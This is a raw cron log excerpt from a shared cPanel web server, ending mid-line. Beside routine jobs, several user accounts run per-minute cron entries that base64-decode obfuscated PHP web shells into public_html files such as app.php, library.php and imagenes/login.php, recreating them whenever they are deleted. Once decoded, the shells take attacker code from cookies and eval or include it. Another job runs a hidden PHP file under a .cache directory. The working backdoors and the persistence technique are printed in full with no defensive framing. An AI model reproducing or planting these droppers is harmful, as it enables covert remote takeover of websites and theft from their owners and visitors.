Mar  1 18:51:01 medusa CROND[627]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:51:01 medusa CROND[628]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:51:01 medusa CROND[632]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:51:01 medusa CROND[642]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:52:01 medusa CROND[24852]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:52:01 medusa CROND[24941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:52:01 medusa CROND[24970]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:52:01 medusa CROND[24972]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:52:01 medusa CROND[24973]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:52:01 medusa CROND[24971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:52:01 medusa CROND[24974]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:52:01 medusa CROND[24975]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:52:01 medusa CROND[24976]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:52:01 medusa CROND[24977]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:52:01 medusa CROND[24978]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:52:01 medusa CROND[24986]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:52:01 medusa CROND[24981]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:53:02 medusa CROND[17285]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:53:02 medusa CROND[17286]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:53:02 medusa CROND[17287]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:53:02 medusa CROND[17288]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:53:02 medusa CROND[17289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:53:02 medusa CROND[17290]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:53:02 medusa CROND[17291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:53:02 medusa CROND[17295]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:53:02 medusa CROND[17297]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:53:02 medusa CROND[17299]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:53:02 medusa CROND[17298]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:53:02 medusa CROND[17294]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:54:01 medusa CROND[9207]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ